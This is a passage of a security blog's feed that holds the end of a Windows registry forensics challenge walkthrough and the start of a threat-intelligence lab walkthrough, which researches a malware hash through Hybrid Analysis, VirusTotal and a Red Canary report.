all the way back in &lt;strong&gt;Question 1&lt;/strong&gt; that we noted two versions of &lt;strong&gt;RegRipper&lt;/strong&gt; in the &lt;code&gt;Tools&lt;/code&gt; folder? Now we know why. Occasionally, leveraging older versions of tools will change how input is parsed — let&amp;rsquo;s try out &lt;strong&gt;RegRipper2.8&lt;/strong&gt; and see what we can find.&lt;/p&gt;&#xA;&lt;p&gt;While like how we set up the 3.0 version, there are some differences. First, point to the &lt;strong&gt;SECURITY&lt;/strong&gt; hive file which contains security policy and settings information. Then, specify your output directory for the two &lt;code&gt;.txt&lt;/code&gt; files. Finally, in the profile drop-down, select &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;security.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;271px&#34; data-flex-grow=&#34;113&#34; height=&#34;707&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/e8e07b6c743df8fecabf5c69c1e82da9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;RegRipper2.8: Setup&lt;/p&gt;&#xA;&lt;p&gt;Once the output file is generated, open it up and we&amp;rsquo;ll be able to easily locate the &lt;code&gt;Machine SID&lt;/code&gt; value that we&amp;rsquo;re looking for to complete the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;330px&#34; data-flex-grow=&#34;137&#34; height=&#34;581&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/934f6958e6f5621bec156f995bafa1ff_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;RegRipper2.8 Output: Discovering the Machine SID&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1476px&#34; data-flex-grow=&#34;615&#34; height=&#34;130&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/56a1bffb4a342e920abd8f218b200966_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;633px&#34; data-flex-grow=&#34;264&#34; height=&#34;303&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/c46e69328a521cd775d0bab7f11da552_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we have it! By combining &lt;strong&gt;Registry Explorer&lt;/strong&gt; and &lt;strong&gt;RegRipper&lt;/strong&gt; to analyze the provided SYSTEM, SAM, SOFTWARE, and SECURITY registry artifacts, we&amp;rsquo;ve successfully collected the necessary information from the target computer. We were able to determine valuable information about the device, including the OS, computer name, time zone, and network information. We also learned about user and application activities on the system, giving us a clear view of what the device is and how it&amp;rsquo;s used — all through the registry. Now that we have scoped the attack and completed our objectives, let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/registryhive&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;RegistryHive&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, for the awesome challenge! This challenge was a great opportunity for me as I am very familiar with the registry but have never had to approach it from a forensics perspective. I knew this experience would help improve my skills and expose me to some of the valuable artifacts available in the registry. The hands-on practice is extremely valuable in the real world. This challenge was also a fantastic opportunity to explore more of Eric Zimmerman&amp;rsquo;s tools like Registry Explorer. This was an extremely powerful and flexible utility that is now part of my kit. I also had never used RegRipper and was extremely impressed by its ease of use and powerful output. All-in-all, this was a fun way to grow my skills — awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thank you for your support and partnering up on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/registryhive&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/registryhive&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Registry Explorer:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;RegRipper3.0 — GitHub:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/keydet89/RegRipper3.0&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/keydet89/RegRipper3.0&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Registry Hives:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — File Times:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/sysinfo/file-times&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/sysinfo/file-times&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;SANS Blog — RegRipper: Ripping Registries With Ease:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/blog/regripper-ripping-registries-with-ease/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;SANS Digital Forensics and Incident Response Blog | RegRipper: Ripping Registries With Ease | SANS Institute&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1547/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Forensafe — Investigating Machine SID:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://forensafe.com/blogs/machine_sid.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://forensafe.com/blogs/machine_sid.html&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>CyberDefenders  —  Yellow RAT Lab Walkthrough</title>
            <link>https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/</link>
            <pubDate>Sun, 13 Apr 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/3ceea2046296f2898063add467304d49_MD5.png&#34; alt=&#34;Featured image of post CyberDefenders  —  Yellow RAT Lab Walkthrough&#34; /&gt;&lt;h3 id=&#34;cyberdefenders--yellow-rat-lab-walkthrough&#34;&gt;CyberDefenders — Yellow RAT Lab Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-cyber-threat-intelligence-challenge-using-hybrid-analysis-virustotal-and-red-canary-intelligence&#34;&gt;A Cyber Threat Intelligence Challenge using Hybrid Analysis, VirusTotal, and Red Canary Intelligence.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;408px&#34; data-flex-grow=&#34;170&#34; height=&#34;233&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/3ceea2046296f2898063add467304d49_MD5.png&#34; width=&#34;397&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/yellow-rat/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/yellow-rat/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/yellow-rat/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Yellow RAT Lab&lt;/strong&gt;&lt;/a&gt; from &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;In this scenario, we&amp;rsquo;re jumping into the world of cyber threat intelligence (CTI) by investigating a malware sample discovered within the victim&amp;rsquo;s environment. The challenge? We&amp;rsquo;re only provided the file hash of the malware, so it&amp;rsquo;s up to us to use our research skills to collect threat intelligence and determine what the malware is, how it operates, and what it communicates with.&lt;/p&gt;&#xA;&lt;p&gt;To perform this investigation, we&amp;rsquo;ll leverage some common threat intelligence and malware analysis platforms, like &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; and &lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hybrid Analysis&lt;/strong&gt;&lt;/a&gt;, as well as conduct additional research on &lt;strong&gt;Google&lt;/strong&gt;. Performing this analysis will give us the information we need to put a stop to this incident. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;During a regular IT security check at GlobalTech Industries, abnormal network traffic was detected from multiple workstations. Upon initial investigation, it was discovered that certain employees&amp;rsquo; search queries were being redirected to unfamiliar websites. This discovery raised concerns and prompted a more thorough investigation. Your task is to investigate this incident and gather as much information as possible.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-understanding-the-adversary-helps-defend-against-attacks-what-is-the-name-of-the-malware-family-that-causes-abnormal-networktraffic&#34;&gt;Question 1: Understanding the adversary helps defend against attacks. What is the name of the malware family that causes abnormal network traffic?&#xA;&lt;/h3&gt;&lt;p&gt;Time to kick off this investigation! Our first task is to unzip the challenge file containing a text file, &lt;code&gt;hash.txt&lt;/code&gt;. The content of this file is the &lt;strong&gt;SHA256 file hash&lt;/strong&gt; of the malware that infected the employee workstations.&lt;/p&gt;&#xA;&lt;p&gt;To begin, copy the file hash:&lt;/p&gt;&#xA;&lt;p&gt;30E527E45F50D2BA82865C5679A6FA998EE0A1755361AB01673950810D071C85&lt;/p&gt;&#xA;&lt;p&gt;Throughout this challenge we&amp;rsquo;ll leverage several threat intelligence sources but the first one we&amp;rsquo;ll use is &lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hybrid Analysis&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; an online malware analysis service, to check the unique malware file hash contained in &lt;code&gt;hash.txt&lt;/code&gt;. This allows us to check previous reports about the sample and gather more information about the incident. To do this follow the steps below:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use your web browser to navigate to &lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.hybrid-analysis.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select the &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Report Search&amp;quot;&#xA;tab.&#xA;3. Paste the file hash into the search box &amp;amp; press &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;search.&amp;quot;&lt;/p&gt;&#xA;&lt;ol start=&#34;4&#34;&gt;&#xA;&lt;li&gt;Select the first report in the list with the timestamp of June 20th, 2022 (though any should work.)&lt;/li&gt;&#xA;&lt;li&gt;Within the report, under &lt;strong&gt;Falcon Sandbox Reports&lt;/strong&gt;, click the report from the &lt;strong&gt;Windows 7 32 bit&lt;/strong&gt; sandbox with the threat score of 94/100.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;711px&#34; data-flex-grow=&#34;296&#34; height=&#34;270&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/b195307e2595f885dd578174e5a0e24b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hybrid Analysis search result: &lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com/search?query=30E527E45F50D2BA82865C5679A6FA998EE0A1755361AB01673950810D071C85&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.hybrid-analysis.com/search?query=30E527E45F50D2BA82865C5679A6FA998EE0A1755361AB01673950810D071C85&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;627px&#34; data-flex-grow=&#34;261&#34; height=&#34;306&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/3df8158b0a5d0733723d990c7cdcd501_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hybrid Analysis: Selecting the Falcon Sandbox Report&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;re in the report, we can start collecting some intelligence about the malware. The first objective to answer &lt;strong&gt;Question 1&lt;/strong&gt; is to discover the name of the malware family. To discover this information, we&amp;rsquo;ll use the &lt;strong&gt;Open Source Intelligence (OSINT)&lt;/strong&gt; section under &lt;strong&gt;Additional Context&lt;/strong&gt; and select the report from &lt;a class=&#34;link&#34; href=&#34;https://redcanary.com/blog/threat-intelligence/yellow-cockatoo/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Red Canary Intelligence&lt;/strong&gt;&lt;/a&gt; to be redirected to their blog entry.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;758px&#34; data-flex-grow=&#34;316&#34; height=&#34;253&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/4190b4a0e27d9d4a77a7ca8bcdf42eef_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hybrid Analysis: Selecting the Red Canary Report&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll find the malware name is featured prominently as the subject of the write up. Not only that, but we&amp;rsquo;ll discover some extremely valuable technical information about the malware that can help us to contextualize the attack. Great find! We&amp;rsquo;ll return to this blog entry later, so keep it handy for later in the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;932px&#34; data-flex-grow=&#34;388&#34; height=&#34;206&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/db63123f3a714b79996ced0696224429_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-as-part-of-our-incident-response-knowing-common-filenames-the-malware-uses-can-help-scan-other-workstations-for-potential-infection-what-is-the-common-filename-associated-with-the-malware-discovered-on-our-workstations&#34;&gt;Question 2: As part of our incident response, knowing common filenames the malware uses can help scan other workstations for potential infection. What is the common filename associated with the malware discovered on our workstations?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve uncovered the malware family we&amp;rsquo;re investigating, let&amp;rsquo;s pivot to another source of intelligence, &lt;a class=&#34;link&#34; href=&#34;http://virustotal.com&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt;. If you&amp;rsquo;re unfamiliar with it, VirusTotal is another popular malware analysis platform with detailed detection information and analysis reporting for malware samples.&lt;/p&gt;&#xA;&lt;p&gt;The process of checking VirusTotal is similar to our approach with Hybrid Analysis:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use your web browser to navigate to &lt;a class=&#34;link&#34; href=&#34;https://virustotal.com&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://virustotal.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Paste the file hash into the search box &amp;amp; press &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;search.&amp;quot;&lt;/p&gt;&#xA;&lt;ol start=&#34;3&#34;&gt;&#xA;&lt;li&gt;Once the results page has loaded, select the &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Details&amp;quot;&#xA;tab.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/30e527e45f50d2ba82865c5679a6fa998ee0a1755361ab01673950810d071c85&#34;  title=&#34;https://www.virustotal.com/gui/file/30e527e45f50d2ba82865c5679a6fa998ee0a1755361ab01673950810d071c85&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&#xA;VirusTotalwww.virustotal.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/30e527e45f50d2ba82865c5679a6fa998ee0a1755361ab01673950810d071c85&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;On the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Details&amp;quot;&#xA;tab, we&amp;rsquo;ll see a ton of valuable data about the malware sample but to answer &lt;strong&gt;Question 2,&lt;/strong&gt; we need to discover the common filename used by the malware. We can locate this information by scrolling down to the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Signature info&amp;quot;&#xA;section under the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;File Version Information&amp;quot;&#xA;header:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;752px&#34; data-flex-grow=&#34;313&#34; height=&#34;255&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/eb5f47db007419f993199587a6300d9c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Identifying the common filename of the sample&lt;/p&gt;&#xA;&lt;p&gt;Once we&amp;rsquo;ve identified the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Original Name,&amp;quot;&#xA;copy that value and submit the answer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;752px&#34; data-flex-grow=&#34;313&#34; height=&#34;255&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/82b36b7b54d7fdd935569ba4efcfd026_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-determining-the-compilation-timestamp-of-malware-can-reveal-insights-into-its-development-and-deployment-timeline-what-is-the-compilation-timestamp-of-the-malware-that-infected-ournetwork&#34;&gt;Question 3: Determining the compilation timestamp of malware can reveal insights into its development and deployment timeline. What is the compilation timestamp of the malware that infected our network?&#xA;&lt;/h3&gt;&lt;p&gt;For our next task, we need to determine the timestamp for the malware&amp;rsquo;s compilation. We can continue to explore the VirusTotal report to locate this information in the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Portable Executable Info&amp;quot;&#xA;section right below the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Signature Info&amp;quot;&#xA;we used in the previous question.&lt;/p&gt;&#xA;&lt;p&gt;Scroll down to the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Header&amp;quot;&#xA;section to location the &lt;strong&gt;Compilation Timestamp&lt;/strong&gt; value that we&amp;rsquo;re searching for.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1010px&#34; data-flex-grow=&#34;421&#34; height=&#34;190&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/47cc39d046a5330635fbfe58be0f5f88_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Identifying the compilation timestamp of the malware sample&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;780px&#34; data-flex-grow=&#34;325&#34; height=&#34;246&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/a90f419539bbb1470f6c49531d810a23_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-understanding-when-the-broader-cybersecurity-community-first-identified-the-malware-could-help-determine-how-long-the-malware-might-have-been-in-the-environment-before-detection-when-was-the-malware-first-submitted-to-virustotal&#34;&gt;Question 4: Understanding when the broader cybersecurity community first identified the malware could help determine how long the malware might have been in the environment before detection. When was the malware first submitted to VirusTotal?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 4&lt;/strong&gt;, we&amp;rsquo;ll need to identify the date the malware sample was first submitted to VirusTotal. To locate this information, check the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;History&amp;quot;&#xA; section toward the top of the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Details&amp;quot;&#xA;tab and check the &lt;strong&gt;First Submission&lt;/strong&gt; timestamp.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1352px&#34; data-flex-grow=&#34;563&#34; height=&#34;142&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/1bb9901c2a394e94d9355d8f7bf8089e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Identifying the first submission time&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;716px&#34; data-flex-grow=&#34;298&#34; height=&#34;268&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/12d4cfce0054b1bfcac6b13fb7d24c3a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-to-completely-eradicate-the-threat-from-industries-systems-we-need-to-identify-all-components-dropped-by-the-malware-what-is-the-name-of-thedatfile-that-the-malware-dropped-in-theappdatafolder&#34;&gt;Question 5: To completely eradicate the threat from Industries&amp;rsquo; systems, we need to identify all components dropped by the malware. What is the name of the &lt;strong&gt;.dat&lt;/strong&gt; file that the malware dropped in the &lt;strong&gt;AppData&lt;/strong&gt; folder?&#xA;&lt;/h3&gt;&lt;p&gt;Our next objective is to identify files dropped by the malware. Typically, we can locate this information on VirusTotal but in this case, we&amp;rsquo;ll need to switch gears to find the answer since the data isn&amp;rsquo;t available on VirusTotal.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s refer back to the &lt;a class=&#34;link&#34; href=&#34;https://redcanary.com/blog/threat-intelligence/yellow-cockatoo/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Red Canary Intelligence&lt;/strong&gt;&lt;/a&gt; report we discovered in &lt;strong&gt;Question 1&lt;/strong&gt; and see if we can gather more information from the blog to find the answer.&lt;/p&gt;&#xA;&lt;p&gt;Scroll down to the &amp;quot; # &amp;ldquo;Deep dive on the .NET RAT&amp;quot;section of the blog to view the granular technical details of the malware including the name of the &lt;strong&gt;.dat&lt;/strong&gt; file we&amp;rsquo;re seeking to answer the question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;453px&#34; 